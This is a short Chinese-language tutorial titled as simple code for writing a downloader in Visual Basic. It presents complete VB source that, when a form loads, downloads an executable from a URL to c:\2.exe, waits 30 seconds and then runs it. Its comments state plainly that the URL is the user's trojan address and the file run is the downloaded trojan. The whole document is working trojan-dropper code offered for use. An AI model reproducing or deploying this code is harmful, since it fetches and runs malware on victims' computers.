用VB编写下载者的简单代码
Option Explicit
'要求变量必须声明后才能使用
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal
pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As
Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As
Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String,
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'这三个是函数声明
Private Sub Form_Load()
URLDownloadToFile 0, "http://127.0.0.1/1.exe", "c:\2.exe", 0, 0 '第2个参数是你的木马地址,
第3个是保存的位置,其他默认就可以
Sleep 30000 '单位是毫秒,我这里是挂起30秒
ShellExecute 0, vbNullString, "c:\2.exe", vbNullString, vbNullString, vbNormalFocus
'ShellExecute的第2个参数是你要运行的文件,也就是我们下到本地的木马地址了
end '退出
End Sub